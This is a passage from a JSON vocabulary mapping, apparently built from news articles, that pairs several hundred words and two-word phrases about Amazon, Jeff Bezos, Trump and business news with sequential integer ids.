sean\": 138150,\n  \"matthew coudert\": 138151,\n  \"discuss raising\": 138152,\n  \"significant event\": 138153,\n  \"immense market\": 138154,\n  \"time mccain\": 138155,\n  \"chinese media\": 138156,\n  \"political crank\": 138157,\n  \"revealed affair\": 138158,\n  \"tax helping\": 138159,\n  \"tax measures\": 138160,\n  \"president including\": 138161,\n  \"kepnes\": 138162,\n  \"expect allen\": 138163,\n  \"titled cancer\": 138164,\n  \"2ftopnews\": 138165,\n  \"released drug\": 138166,\n  \"images unless\": 138167,\n  \"menchaca chairs\": 138168,\n  \"loss cookbook\": 138169,\n  \"preview embedded\": 138170,\n  \"rawal twitter\": 138171,\n  \"yearly checkup\": 138172,\n  \"oil accounts\": 138173,\n  \"nyse tjx\": 138174,\n  \"matrix\": 138175,\n  \"american people\": 138176,\n  \"ge usually\": 138177,\n  \"jacket old\": 138178,\n  \"govcloud\": 138179,\n  \"counter house\": 138180,\n  \"badge\": 138181,\n  \"kelly called\": 138182,\n  \"scott devitt\": 138183,\n  \"wilke told\": 138184,\n  \"compete fairly\": 138185,\n  \"policy employees\": 138186,\n  \"baum\": 138187,\n  \"maisel\": 138188,\n  \"lighthouse accounts\": 138189,\n  \"heroclip\": 138190,\n  \"valuation combined\": 138191,\n  \"inches tall\": 138192,\n  \"expect google\": 138193,\n  \"infringement claims\": 138194,\n  \"ft 2018\": 138195,\n  \"owning bezos\": 138196,\n  \"half moon\": 138197,\n  \"pumps\": 138198,\n  \"andrej babis\": 138199,\n  \"analysts believe\": 138200,\n  \"policy technology\": 138201,\n  \"juddlegum\": 138202,\n  \"rielly\": 138203,\n  \"humans don\": 138204,\n  \"director ron\": 138205,\n  \"guides france\": 138206,\n  \"hq backlash\": 138207,\n  \"iain\": 138208,\n  \"ret adm\": 138209,\n  \"pretty considerable\": 138210,\n  \"stalwart\": 138211,\n  \"congressmen taken\": 138212,\n  \"self serving\": 138213,\n  \"maryland\": 138214,\n  \"body bringing\": 138215,\n  \"clause unlike\": 138216,\n  \"hauer\": 138217,\n  \"facebook textron\": 138218,\n  \"pati mexican\": 138219,\n  \"latest congressional\": 138220,\n  \"ulrich says\": 138221,\n  \"budget shortfall\": 138222,\n  \"m0 p4\": 138223,\n  \"anticipated hq2\": 138224,\n  \"budget 2019\": 138225,\n  \"jay jacobs\": 138226,\n  \"p0 m4\": 138227,\n  \"mop haired\": 138228,\n  \"glit tigon\": 138229,\n  \"google beats\": 138230,\n  \"autocratic bezos\": 138231,\n  \"kadestsky\": 138232,\n  \"customers millions\": 138233,\n  \"weakness reflect\": 138234,\n  \"holiday stories\": 138235,\n  \"price rises\": 138236,\n  \"f4 f8\": 138237,\n  \"voting member\": 138238,\n  \"dramatic personal\": 138239,\n  \"art sackler\": 138240,\n  \"island hudson\": 138241,\n  \"pizzagate falsely\": 138242,\n  \"high usage\": 138243,\n  \"insider report\": 138244,\n  \"transparently vindictive\": 138245,\n  \"dog food\": 138246,\n  \"bans christian\": 138247,\n  \"match\": 138248,\n  \"commercial districts\": 138249,\n  \"wields\": 138250,\n  \"precies\": 138251,\n  \"relinquish\": 138252,\n  \"guys pitchers\": 138253,\n  \"including spain\": 138254,\n  \"entetering\": 138255,\n  \"year usps\": 138256,\n  \"partners initiative\": 138257,\n  \"unload\": 138258,\n  \"97th st\": 138259,\n  \"monopoly occurs\": 138260,\n  \"charged giving\": 138261,\n  \"instagram28\": 138262,\n  \"general matt\": 138263,\n  \"documentar chef\": 138264,\n  \"amazon competitor\": 138265,\n  \"primal scream\": 138266,\n  \"island far\": 138267,\n  \"fantastical quests\": 138268,\n  \"certainly start\": 138269,\n  \"epistolary novel\": 138270,\n  \"following month\": 138271,\n  \"provide powerful\": 138272,\n  \"reklaitis 415\": 138273,\n  \"indonesia featuring\": 138274,\n  \"remarks president\": 138275,\n  \"2752121\": 138276,\n  \"police action\": 138277,\n  \"drones\": 138278,\n  \"britain corporates\": 138279,\n  \"korean intelligence\": 138280,\n  \"folksy\": 138281,\n  \"years think\": 138282,\n  \"romantic hikes\": 138283,\n  \"lawrence convention\": 138284,\n  \"eldest daughter\": 138285,\n  \"luiz\": 138286,\n  \"contact information\": 138287,\n  \"inspirational annual\": 138288,\n  \"contractors don\": 138289,\n  \"wearing wire\": 138290,\n  \"story money\": 138291,\n  \"government increasingly\": 138292,\n  \"class photography\": 138293,\n  \"liz pete\": 138294,\n  \"include 2741a\": 138295,\n  \"overreaction feel\": 138296,\n  \"release written\": 138297,\n  \"half bezos\": 138298,\n  \"confidential shipping\": 138299,\n  \"ricriebold\": 138300,\n  \"outside bezos\": 138301,\n  \"abrupt pullout\": 138302,\n  \"nearest microphone\": 138303,\n  \"mexico leaders\": 138304,\n  \"senate run\": 138305,\n  \"used facebook\": 138306,\n  \"senate race\": 138307,\n  \"benzene detected\": 138308,\n  \"200 publications\": 138309,\n  \"2017 ibm\": 138310,\n  \"scientists recently\": 138311,\n  \"retailer newegg\": 138312,\n  \"increased choice\": 138313,\n  \"magna\": 138314,\n  \"pre alimony\": 138315,\n  \"bernal\": 138316,\n  \"settled\": 138317,\n  \"promised new\": 138318,\n  \"amato announces\": 138319,\n  \"suozzi\": 138320,\n  \"office projects\": 138321,\n  \"contributed series\": 138322,\n  \"recommend changes\": 138323,\n  \"trillion increase\": 138324,\n  \"week vuukle\": 138325,\n  \"monopolistic\": 138326,\n  \"brewing based\": 138327,\n  \"product offering\": 138328,\n  \"smbs\": 138329,\n  \"tech ceo\": 138330,\n  \"000 target\": 138331,\n  \"reuters poll\": 138332,\n  \"event pbs\": 138333,\n  \"paid vacation\": 138334,\n  \"stilts\": 138335,\n  \"bureaucratic channels\": 138336,\n  \"american workers\": 138337,\n  \"america isn\": 138338,\n  \"scheiber trump\": 138339,\n  \"chain left\": 138340,\n  \"automatic\": 138341,\n  \"advisory board\": 138342,\n  \"amazon van\": 138343,\n  \"whitesell left\": 138344,\n  \"anchor megyn\": 138345,\n  \"phil mattingly\": 138346,\n  \"renews\": 138347,\n  \"millennial customers\": 138348,\n  \"communities dependent\": 138349,\n  \"resell\": 138350,\n  \"city expects\": 138351,\n  \"softer demand\": 138352,\n  \"set dangerous\": 138353,\n  \"cleaving commerce\": 138354,\n  \"online article\": 138355,\n  \"quietly added\": 138356,\n  \"night rundown\": 138357,\n  \"bird\": 138358,\n  \"drug keytruda\": 138359,\n  \"terrible mistake\": 138360,\n  \"soundproof\": 138361,\n  \"new rule\": 138362,\n  \"jobs costing\": 138363,\n  \"private competitors\": 138364,\n  \"fewer government\": 138365,\n  \"brought charlie\": 138366,\n  \"biggest driver\": 138367,\n  \"cuteemergency\": 138368,\n  \"story stay\": 138369,\n  \"concerned dinam\\u00e3\": 138370,\n  \"nyc community\": 138371,\n  \"tag new\": 138372,\n  \"325 million\": 138373,\n  \"favorable treatment\": 138374,\n  \"price think\": 138375,\n  \"055 shares\": 138376,\n  \"blasio proclaimed\": 138377,\n  \"shredding\": 138378,\n  \"kraninger\": 138379,\n  \"states benefits\": 138380,\n  \"client remains\": 138381,\n  \"rebuff turns\": 138382,\n  \"implicitly\": 138383,\n  \"politico ian\": 138384,\n  \"obama unconstitutional\": 138385,\n  \"var k8\": 138386,\n  \"cpr\": 138387,\n  \"company held\": 138388,\n  \"king fictional\": 138389,\n  \"obtain intimate\": 138390,\n  \"successful national\": 138391,\n  \"amaozn\": 138392,\n  \"lowest paid\": 138393,\n  \"political base\": 138394,\n  \"ism index\": 138395,\n  \"considering publishing\": 138396,\n  \"phoney headlines\": 138397,\n  \"chief marty\": 138398,\n  \"announcing deaths\": 138399,\n  \"year nbc\": 138400,\n  \"increased operating\": 138401,\n  \"whirlpool wanted\": 138402,\n  \"connections including\": 138403,\n  \"amazon separately\": 138404,\n  \"1619\": 138405,\n  \"outreach\": 138406,\n  \"yuan flirts\": 138407,\n  \"touts putin\": 138408,\n  \"cultivate\": 138409,\n  \"groups condemned\": 138410,\n  \"731\": 138411,\n  \"record network\": 138412,\n  \"0716et copyright\": 138413,\n  \"brk energy\": 138414,\n  \"website sockslane\": 138415,\n  \"subtle ways\": 138416,\n  \"amazon fracas\": 138417,\n  \"companies sheuvachman\": 138418,\n  \"2017 meeting\": 138419,\n  \"know way\": 138420,\n  \"electrical contractors\": 138421,\n  \"public criticisms\": 138422,\n  \"political act\": 138423,\n  \"destinations federal\": 138424,\n  \"industrial gas\": 138425,\n  \"commissioner elect\": 138426,\n  \"passed measure\": 138427,\n  \"national bank\": 138428,\n  \"robina\": 138429,\n  \"duet wireless\": 138430,\n  \"market despite\": 138431,\n  \"helsinki\": 138432,\n  \"information law\": 138433,\n  \"illness according\": 138434,\n  \"gaining insights\": 138435,\n  \"growth companies\": 138436,\n  \"care industry\": 138437,\n  \"citizen kane\": 138438,\n  \"emails\": 138439,\n  \"rebuilt\": 138440,\n  \"proposed hiking\": 138441,\n  \"wisconsin driver\": 138442,\n  \"amazon consumers\": 138443,\n  \"forbes google\": 138444,\n  \"riling bezos\": 138445,\n  \"owning piece\": 138446,\n  \"retaliatory actions\": 138447,\n  \"formal recommendations\": 138448,\n  \"savannah guthrie\": 138449,\n  \"brink truck\": 138450,\n  \"newsdesk features\": 138451,\n  \"commission mandate\": 138452,\n  \"john otis\": 138453,\n  \"magento bigcommerce\": 138454,\n  \"boss american\": 138455,\n  \"pre existing\": 138456,\n  \"pretty hard\": 138457,\n  \"bbgvisualdata\": 138458,\n  \"democrat read\": 138459,\n  \"amazon tweets\": 138460,\n  \"caroline michelman\": 138461,\n  \"coalition warned\": 138462,\n  \"option activity\": 138463,\n  \"bag janine\": 138464,\n  \"hk finished\": 138465,\n  \"major advertising\": 138466,\n  \"interview shows\": 138467,\n  \"releases critical\": 138468,\n  \"incentive encourages\": 138469,\n  \"forum suggests\": 138470,\n  \"china ft\": 138471,\n  \"misplaced hundreds\": 138472,\n  \"conservatives revolt\": 138473,\n  \"post juxtaposition\": 138474,\n  \"southwest\": 138475,\n  \"combative appearance\": 138476,\n  \"man structure\": 138477,\n  \"million international\": 138478,\n  \"european dream\": 138479,\n  \"encounters obstacles\": 138480,\n  \"king unique\": 138481,\n  \"today similarly\": 138482,\n  \"chronicles\": 138483,\n  \"stifling dissent\": 138484,\n  \"unofficial\": 138485,\n  \"brand created\": 138486,\n  \"ensures\": 138487,\n  \"hasn responded\": 138488,\n  \"provides real\": 138489,\n  \"story donald\": 138490,\n  \"treatment plant\": 138491,\n  \"keziah\": 138492,\n  \"wechat government\": 138493,\n  \"clipping heroclip\": 138494,\n  \"amazon bias\": 138495,\n  \"attract new\": 138496,\n  \"political cueing\": 138497,\n  \"praised trump\": 138498,\n  \"cigna\": 138499,\n  \"withdrawal north\": 138500,\n  \"a4ee b0\": 138501,\n  \"thing tabloid\": 138502,\n  \"bogota colombia\": 138503,\n  \"eventually prosecutors\": 138504,\n  \"week barron\": 138505,\n  \"determining monopolies\": 138506,\n  \"championship\": 138507,\n  \"make college\": 138508,\n  \"concerns posted\": 138509,\n  \"ex governor\": 138510,\n  \"cath\\u00e9drale notre\": 138511,\n  \"rational\": 138512,\n  \"way brian\": 138513,\n  \"written cautionary\": 138514,\n  \"rebates cigna\": 138515,\n  \"early rush\": 138516,\n  \"nutshell aws\": 138517,\n  \"frontrunner\": 138518,\n  \"wages benefits\": 138519,\n  \"polar bears\": 138520,\n  \"enablers\": 138521,\n  \"highest\": 138522,\n  \"melting glaciers\": 138523,\n  \"yahoo uk\": 138524,\n  \"105\": 138525,\n  \"things really\": 138526,\n  \"effectively silence\": 138527,\n  \"akron ohio\": 138528,\n  \"nyu\": 138529,\n  \"revitalize manufacturing\": 138530,\n  \"company crashed\": 138531,\n  \"flexispot m2b\": 138532,\n  \"6000 new\": 138533,\n  \"computer servers\": 138534,\n  \"disparaging\": 138535,\n  \"blankets advil\": 138536,\n  \"based tax\": 138537,\n  \"couldn afford\": 138538,\n  \"expenditures jumped\": 138539,\n  \"amazon businesses\": 138540,\n  \"written reviews\": 138541,\n  \"uniforms entrepreneurs\": 138542,\n  \"jon bois\": 138543,\n  \"carter longest\": 138544,\n  \"reporter perspective\": 138545,\n  \"film drama\": 138546,\n  \"mother earth\": 138547,\n  \"gaping\": 138548,\n  \"places\": 138549,\n  \"bezos infidelity\": 138550,\n  \"labor activists\": 138551,\n  \"unsold\": 138552,\n  \"giant amid\": 138553,\n  \"candice\": 138554,\n  \"1938\": 138555,\n  \"pirro showing\": 138556,\n  \"service postal\": 138557,\n  \"justifications\": 138558,\n  \"escaped notice\": 138559,\n  \"canada announces\": 138560,\n  \"null dayssincepubdate\": 138561,\n  \"believes aws\": 138562,\n  \"contradictions documenting\": 138563,\n  \"political nonprofits\": 138564,\n  \"equal share\": 138565,\n  \"lamarque\": 138566,\n  \"sen kirsten\": 138567,\n  \"response minutes\": 138568,\n  \"day newsletter\": 138569,\n  \"nflx griffeth\": 138570,\n  \"better newspaper\": 138571,\n  \"substantiate\": 138572,\n  \"tweets posted\": 138573,\n  \"illustrated\": 138574,\n  \"package cost\": 138575,\n  \"markets money\": 138576,\n  \"eventually cause\": 138577,\n  \"know think\": 138578,\n  \"rehearse\": 138579,\n  \"year saying\": 138580,\n  \"mentzel\": 138581,\n  \"echo anytime\": 138582,\n  \"countries capitalize\": 138583,\n  \"nation response\": 138584,\n  \"controversial bidding\": 138585,\n  \"product lines\": 138586,\n  \"club employees\": 138587,\n  \"benchmarks rebounded\": 138588,\n  \"worth wondering\": 138589,\n  \"eugene\": 138590,\n  \"closely linked\": 138591,\n  \"lives reads\": 138592,\n  \"offers muted\": 138593,\n  \"graphics\": 138594,\n  \"think generally\": 138595,\n  \"fellow student\": 138596,\n  \"including companies\": 138597,\n  \"broken\": 138598,\n  \"paranoia\": 138599,\n  \"deliver\": 138600,\n  \"important chinese\": 138601,\n  \"big bad\": 138602,\n  \"anita hill\": 138603,\n  \"nonetheless helped\": 138604,\n  \"forecasts net\": 138605,\n  \"right corporatizers\": 138606,\n  \"oerter recreation\": 138607,\n  \"wasn booming\": 138608,\n  \"flirted\": 138609,\n  \"slower holiday\": 138610,\n  \"backward\": 138611,\n  \"cathedral evacuated\": 138612,\n  \"blasio claimed\": 138613,\n  \"michael curry\": 138614,\n  \"juggernaut remain\": 138615,\n  \"trying extend\": 138616,\n  \"anable basin\": 138617,\n  \"pointed fingers\": 138618,\n  \"eat jonathan\": 138619,\n  \"hanks humble\": 138620,\n  \"proposed site\": 138621,\n  \"nasdaq amat\": 138622,\n  \"ban upheld\": 138623,\n  \"publishing companies\": 138624,\n  \"data forbidden\": 138625,\n  \"bankrupt bunch\": 138626,\n  \"marketplace business\": 138627,\n  \"remains question\": 138628,\n  \"justifies illegal\": 138629,\n  \"lord miguel\": 138630,\n  \"videoid overrides\": 138631,\n  \"catalyse political\": 138632,\n  \"offering marketplace\": 138633,\n  \"engel\": 138634,\n  \"adolescent rage\": 138635,\n  \"counterfeits bad\": 138636,\n  \"country dimondstein\": 138637,\n  \"president left\": 138638,\n  \"1937\": 138639,\n  \"fedex makes\": 138640,\n  \"siemens\": 138641,\n  \"brief brexit\": 138642,\n  \"identify immigrants\": 138643,\n  \"allegedly redrawing\": 138644,\n  \"running space\": 138645,\n  \"inventory ahead\": 138646,\n  \"gmt paterson\": 138647,\n  \"odd\": 138648,\n  \"question president\": 138649,\n  \"huckabee\": 138650,\n  \"healthcare partners\": 138651,\n  \"hard lefty\": 138652,\n  \"commercial airplane\": 138653,\n  \"remember received\": 138654,\n  \"stock holding\": 138655,\n  \"deportation machine\": 138656,\n  \"scarred hillsides\": 138657,\n  \"bezos history\": 138658,\n  \"ingredient costs\": 138659,\n  \"handed victory\": 138660,\n  \"bought 481\": 138661,\n  \"fuel continued\": 138662,\n  \"star john\": 138663,\n  \"committee earlier\": 138664,\n  \"announcement shortly\": 138665,\n  \"legal drama\": 138666,\n  \"frames\": 138667,\n  \"amazon partner\": 138668,\n  \"bring usps\": 138669,\n  \"companies look\": 138670,\n  \"reads reality\": 138671,\n  \"players range\": 138672,\n  \"trussell\": 138673,\n  \"price limits\": 138674,\n  \"allows prime\": 138675,\n  \"azure iot\": 138676,\n  \"giant joined\": 138677,\n  \"impact anytime\": 138678,\n  \"living walmart\": 138679,\n  \"uses series\": 138680,\n  \"separation policy\": 138681,\n  \"ar view\": 138682,\n  \"closet\": 138683,\n  \"800 points\": 138684,\n  \"company working\": 138685,\n  \"doesn feel\": 138686,\n  \"plague just\": 138687,\n  \"product gdp\": 138688,\n  \"policies adding\": 138689,\n  \"ryan_mcqueeney\": 138690,\n  \"governor sent\": 138691,\n  \"charitable contributions\": 138692,\n  \"state city\": 138693,\n  \"clarifies\": 138694,\n  \"productive\": 138695,\n  \"giant site\": 138696,\n  \"jurisdiction huge\": 138697,\n  \"plans unfairly\": 138698,\n  \"shine press\": 138699,\n  \"bernstein journalist\": 138700,\n  \"ceo satya\": 138701,\n  \"service offerings\": 138702,\n  \"workers throw\": 138703,\n  \"ranked high\": 138704,\n  \"resistance forces\": 138705,\n  \"negotiate better\": 138706,\n  \"nation longest\": 138707,\n  \"foe time\": 138708,\n  \"trump brazen\": 138709,\n  \"bramer demanded\": 138710,\n  \"ran engineering\": 138711,\n  \"renewed allegations\": 138712,\n  \"devilman\": 138713,\n  \"sht\": 138714,\n  \"additional sanctions\": 138715,\n  \"accusing bezos\": 138716,\n  \"appeared optimistic\": 138717,\n  \"following macy\": 138718,\n  \"including accusing\": 138719,\n  \"hadn won\": 138720,\n  \"request flexible\": 138721,\n  \"shove trump\": 138722,\n  \"worth doesn\": 138723,\n  \"2019 google\": 138724,\n  \"build separate\": 138725,\n  \"yesterday pledged\": 138726,\n  \"18156220 2018\": 138727,\n  \"tuna amobi\": 138728,\n  \"league position\": 138729,\n  \"imperial college\": 138730,\n  \"outlets play\": 138731,\n  \"cookbook fit\": 138732,\n  \"isn retiring\": 138733,\n  \"colleen chien\": 138734,\n  \"fidelity\": 138735,\n  \"practice contradicts\": 138736,\n  \"business believe\": 138737,\n  \"median amazon\": 138738,\n  \"arrested ohio\": 138739,\n  \"shares declined\": 138740,\n  \"make commitment\": 138741,\n  \"event\": 138742,\n  \"shipping arms\": 138743,\n  \"industrial warehouse\": 138744,\n  \"fear gauges\": 138745,\n  \"customer accountable\": 138746,\n  \"biggest tailwind\": 138747,\n  \"recent city\": 138748,\n  \"driven politics\": 138749,\n  \"costs things\": 138750,\n  \"samswhey\": 138751,\n  \"pornography\": 138752,\n  \"allen success\": 138753,\n  \"2016 photo\": 138754,\n  \"stock unappealing\": 138755,\n  \"2017 hotel\": 138756,\n  \"wasteland\": 138757,\n  \"cbs channel\": 138758,\n  \"2010 republicans\": 138759,\n  \"windows listening\": 138760,\n  \"appointing new\": 138761,\n  \"1029803793272250368\": 138762,\n  \"blunt act\": 138763,\n  \"set postal\": 138764,\n  \"work doing\": 138765,\n  \"michael wirth\": 138766,\n  \"royal style\": 138767,\n  \"publication\": 138768,\n  \"father home\": 138769,\n  \"putin blackrock\": 138770,\n  \"investigating collusion\": 138771,\n  \"800 positions\": 138772,\n  \"hounds began\": 138773,\n  \"2007 petrochina\": 138774,\n  \"server719401\": 138775,\n  \"ceramic trump\": 138776,\n  \"uma\\u00f1a\": 138777,\n  \"owner alphabet\": 138778,\n  \"pyrotechnic\": 138779,\n  \"2017 capital\": 138780,\n  \"minds jeff\": 138781,\n  \"downsizing\": 138782,\n  \"chairman david\": 138783,\n  \"course saudi\": 138784,\n  \"powerpic\": 138785,\n  \"gmb discovered\": 138786,\n  \"month alleging\": 138787,\n  \"taking dna\": 138788,\n  \"178 bought\": 138789,\n  \"accusations add\": 138790,\n  \"article city\": 138791,\n  \"global automakers\": 138792,\n  \"union head\": 138793,\n  \"amazon announces\": 138794,\n  \"trump bolt\": 138795,\n  \"kool\": 138796,\n  \"respective skin\": 138797,\n  \"earrings thank\": 138798,\n  \"decisions pat\": 138799,\n  \"007 used\": 138800,\n  \"reuters factbox\": 138801,\n  \"individuals alike\": 138802,\n  \"infrastructure renovations\": 138803,\n  \"seasonal positions\": 138804,\n  \"calling jeff\": 138805,\n  \"threshold amazon\": 138806,\n  \"jimcramer\": 138807,\n  \"court reviews\": 138808,\n  \"kinky\": 138809,\n  \"trump 2nd\": 138810,\n  \"shippers\": 138811,\n  \"institutionally powerful\": 138812,\n  \"mrtopstep\": 138813,\n  \"survive today\": 138814,\n  \"exuberance grit\": 138815,\n  \"deadspin video\": 138816,\n  \"partly blamed\": 138817,\n  \"instructing variety\": 138818,\n  \"airlines announced\": 138819,\n  \"wide screen\": 138820,\n  \"clinically depressed\": 138821,\n  \"swimming\": 138822,\n  \"country debt\": 138823,\n  \"new store\": 138824,\n  \"dj yelp\": 138825,\n  \"happening oof\": 138826,\n  \"short recap\": 138827,\n  \"fiction\": 138828,\n  \"nicholas kamm\": 138829,\n  \"trump pac\": 138830,\n  \"nyc19\": 138831,\n  \"branch messenger\": 138832,\n  \"hillicon valley\": 138833,\n  \"talks helsinki\": 138834,\n  \"community read\": 138835,\n  \"rarefied market\": 138836,\n  \"challengers luckily\": 138837,\n  \"investigations\": 138838,\n  \"rejects\": 138839,\n  \"trump nafta\": 138840,\n  \"previous prime\": 138841,\n  \"places significant\": 138842,\n  \"mutually convenient\": 138843,\n  \"follow karen\": 138844,\n  \"dromey\": 138845,\n  \"fiction viking\": 138846,\n  \"promotes\": 138847,\n  \"weiner mad\": 138848,\n  \"eejodom3 status\": 138849,\n  \"nonetheless loving\": 138850,\n  \"suspiria hits\": 138851,\n  \"communication fraud\": 138852,\n  \"queens west\": 138853,\n  \"report proposing\": 138854,\n  \"heleno\": 138855,\n  \"nasdaq bkng\": 138856,\n  \"best suspense\": 138857,\n  \"julian baird\": 138858,\n  \"essentially gut\": 138859,\n  \"close0\": 138860,\n  \"major executive\": 138861,\n  \"images perform\": 138862,\n  \"arrested posted\": 138863,\n  \"trump trips\": 138864,\n  \"packet\": 138865,\n  \"hall meeting\": 138866,\n  \"sanchez leak\": 138867,\n  \"market decline\": 138868,\n  \"impose punitive\": 138869,\n  \"shitty\": 138870,\n  \"text looking\": 138871,\n  \"governing elites\": 138872,\n  \"making pit\": 138873,\n  \"conservative celebrities\": 138874,\n  \"connected household\": 138875,\n  \"anxious relatives\": 138876,\n  \"states beginning\": 138877,\n  \"slower growth\": 138878,\n  \"tags wire\": 138879,\n  \"qualms pursuing\": 138880,\n  \"prevent children\": 138881,\n  \"split apart\": 138882,\n  \"delivers\": 138883,\n  \"trump referenced\": 138884,\n  \"woman maria\": 138885,\n  \"expectations begin\": 138886,\n  \"suely ara\\u00fajo\": 138887,\n  \"welcom\": 138888,\n  \"reluctant detective\": 138889,\n  \"brazil decision\": 138890,\n  \"antibiotic\": 138891,\n  \"sox baseball\": 138892,\n  \"isn thrilled\": 138893,\n  \"nonprosecution agreement\": 138894,\n  \"continue working\": 138895,\n  \"purposefully determined\": 138896,\n  \"wont sign\": 138897,\n  \"communicate privately\": 138898,\n  \"endless stream\": 138899,\n  \"bank lending\": 138900,\n  \"compressed dems\": 138901,\n  \"recommend potential\": 138902,\n  \"repeat amazon\": 138903,\n  \"fact require\": 138904,\n  \"circumventing\": 138905,\n  \"document published\": 138906,\n  \"901 2019\": 138907,\n  \"avoiding taxes\": 138908,\n  \"2768443\": 138909,\n  \"fellow rapper\": 138910,\n  \"verify checks\": 138911,\n  \"face resistance\": 138912,\n  \"unsecured mobile\": 138913,\n  \"alternative business\": 138914,\n  \"makeover cross\": 138915,\n  \"decision marks\": 138916,\n  \"clog\": 138917,\n  \"bogus putin\": 138918,\n  \"confidentiality agreement\": 138919,\n  \"number facebook\": 138920,\n  \"tv wattpad\": 138921,\n  \"pursue tariffs\": 138922,\n  \"security numbers\": 138923,\n  \"toupee just\": 138924,\n  \"employee amazon\": 138925,\n  \"pressure leaving\": 138926,\n  \"u003c calls\": 138927,\n  \"amazon wolff\": 138928,\n  \"730\": 138929,\n  \"legal loopholes\": 138930,\n  \"correct rep\": 138931,\n  \"ridding\": 138932,\n  \"nativist\": 138933,\n  \"popular consumer\": 138934,\n  \"eleanor roosevelt\": 138935,\n  \"transgender policies\": 138936,\n  \"chandra\": 138937,\n  \"multibillionaire\": 138938,\n  \"title producer\": 138939,\n  \"recent differences\": 138940,\n  \"forte speaking\": 138941,\n  \"better enthusiasm\": 138942,\n  \"mcdonald nyse\": 138943,\n  \"republican held\": 138944,\n  \"elaborate loop\": 138945,\n  \"taste\": 138946,\n  \"platform utility\": 138947,\n  \"uksmallbiz\": 138948,\n  \"verona italy\": 138949,\n  \"foods stores\": 138950,\n  \"related\": 138951,\n  \"record number\": 138952,\n  \"luigi di\": 138953,\n  \"known practise\": 138954,\n  \"bolded\": 138955,\n  \"expanded hours\": 138956,\n  \"amateur\": 138957,\n  \"ba banned\": 138958,\n  \"essentially shrugging\": 138959,\n  \"jpg title\": 138960,\n  \"attributed loss\": 138961,\n  \"great book\": 138962,\n  \"esl\": 138963,\n  \"anissa helou\": 138964,\n  \"news bezos\": 138965,\n  \"13bn\": 138966,\n  \"making agreements\": 138967,\n  \"chinese consumers\": 138968,\n  \"finally admitted\": 138969,\n  \"elevated prices\": 138970,\n  \"boycotting\": 138971,\n  \"2017 meaning\": 138972,\n  \"cidg\": 138973,\n  \"party nomination\": 138974,\n  \"couriers\": 138975,\n  \"baron\": 138976,\n  \"quarters plan\": 138977,\n  \"planned headquarters\": 138978,\n  \"breakthrough michelle\": 138979,\n  \"trump coverage\": 138980,\n  \"lima clima\": 138981,\n  \"unless democrats\": 138982,\n  \"author victor\": 138983,\n  \"self control\": 138984,\n  \"enterprise defense\": 138985,\n  \"extensions\": 138986,\n  \"cfo joseph\": 138987,\n  \"electrical work\": 138988,\n  \"anyother\": 138989,\n  \"thank president\": 138990,\n  \"steve wise\": 138991,\n  \"ecolab closes\": 138992,\n  \"journalism institute\": 138993,\n  \"women\": 138994,\n  \"time achieving\": 138995,\n  \"solidifies\": 138996,\n  \"torture greene\": 138997,\n  \"example forest\": 138998,\n  \"larger contributor\": 138999,\n  \"ties saul\": 139000,\n  \"caravan headed\": 139001,\n  \"complements amazon\": 139002,\n  \"base used\": 139003,\n  \"mcdonald profits\": 139004,\n  \"artificially promoting\": 139005,\n  \"story ricin\": 139006,\n  \"mediation\": 139007,\n  \"johnson family\": 139008,\n  \"private companies\": 139009,\n  \"worldwide pitney\": 139010,\n  \"bit kovacic\": 139011,\n  \"lgbt rights\": 139012,\n  \"business challenges\": 139013,\n  \"r8 x2x\": 139014,\n  \"raising minimum\": 139015,\n  \"aloud\": 139016,\n  \"war chemical\": 139017,\n  \"hits variety\": 139018,\n  \"accountable says\": 139019,\n  \"mobile arena\": 139020,\n  \"read spent\": 139021,\n  \"nerdy look\": 139022,\n  \"bezos exposing\": 139023,\n  \"190 million\": 139024,\n  \"journalists trump\": 139025,\n  \"reporter white\": 139026,\n  \"news furious\": 139027,\n  \"woocommerce\": 139028,\n  \"enthusiasm hotstar\": 139029,\n  \"investors alike\": 139030,\n  \"tech writers\": 139031,\n  \"threatening business\": 139032,\n  \"amplifies\": 139033,\n  \"daniel ives\": 139034,\n  \"single best\": 139035,\n  \"repeated embarrassments\": 139036,\n  \"dcuxqrscec\": 139037,\n  \"far smaller\": 139038,\n  \"told putin\": 139039,\n  \"childish fun\": 139040,\n  \"campaign emoji\": 139041,\n  \"ribbon cutting\": 139042,\n  \"news fawn\": 139043,\n  \"acquisitions worth\": 139044,\n  \"650 000\": 139045,\n  \"assumption imagine\": 139046,\n  \"trump aluminum\": 139047,\n  \"reportedly ordered\": 139048,\n  \"theatre industries\": 139049,\n  \"higher priced\": 139050,\n  \"taken swipes\": 139051,\n  \"elites simply\": 139052,\n  \"publicly held\": 139053,\n  \"audience booed\": 139054,\n  \"costs pricing\": 139055,\n  \"security national\": 139056,\n  \"cash grant\": 139057,\n  \"leder\": 139058,\n  \"usps wages\": 139059,\n  \"societal norms\": 139060,\n  \"bezos reporting\": 139061,\n  \"married bezos\": 139062,\n  \"isn lazy\": 139063,\n  \"presence amazon\": 139064,\n  \"bloomberg fully\": 139065,\n  \"new residents\": 139066,\n  \"dillon apparently\": 139067,\n  \"mile service\": 139068,\n  \"drunk\": 139069,\n  \"planned smartly\": 139070,\n  \"booming investment\": 139071,\n  \"lost posted\": 139072,\n  \"unrivalled\": 139073,\n  \"lead server719393\": 139074,\n  \"cravetv amazon\": 139075,\n  \"trigger political\": 139076,\n  \"market equals\": 139077,\n  \"corporations highlighted\": 139078,\n  \"products beijing\": 139079,\n  \"stunning revelations\": 139080,\n  \"ami relationship\": 139081,\n  \"introduced way\": 139082,\n  \"chicago illinois\": 139083,\n  \"boom puts\": 139084,\n  \"physical presence\": 139085,\n  \"firm washington\": 139086,\n  \"provide data\": 139087,\n  \"drape\": 139088,\n  \"iq game\": 139089,\n  \"asset depletion\": 139090,\n  \"defensive blog\": 139091,\n  \"analogies\": 139092,\n  \"tale news\": 139093,\n  \"divorced commander\": 139094,\n  \"downward\": 139095,\n  \"deblasio\": 139096,\n  \"generation ago\": 139097,\n  \"ebay ceo\": 139098,\n  \"ruling companies\": 139099,\n  \"help low\": 139100,\n  \"followed comprehensive\": 139101,\n  \"sloped\": 139102,\n  \"fox antitrust\": 139103,\n  \"obvious connection\": 139104,\n  \"spins\": 139105,\n  \"lorena\": 139106,\n  \"mushrooming scandals\": 139107,\n  \"rankin hunt\": 139108,\n  \"paid employees\": 139109,\n  \"theater chains\": 139110,\n  \"voices hilary\": 139111,\n  \"demonize israel\": 139112,\n  \"hour delivery\": 139113,\n  \"valuable information\": 139114,\n  \"goldenberg\": 139115,\n  \"paparazzi photos\": 139116,\n  \"thrones hbo\": 139117,\n  \"tweets follow\": 139118,\n  \"facing hostility\": 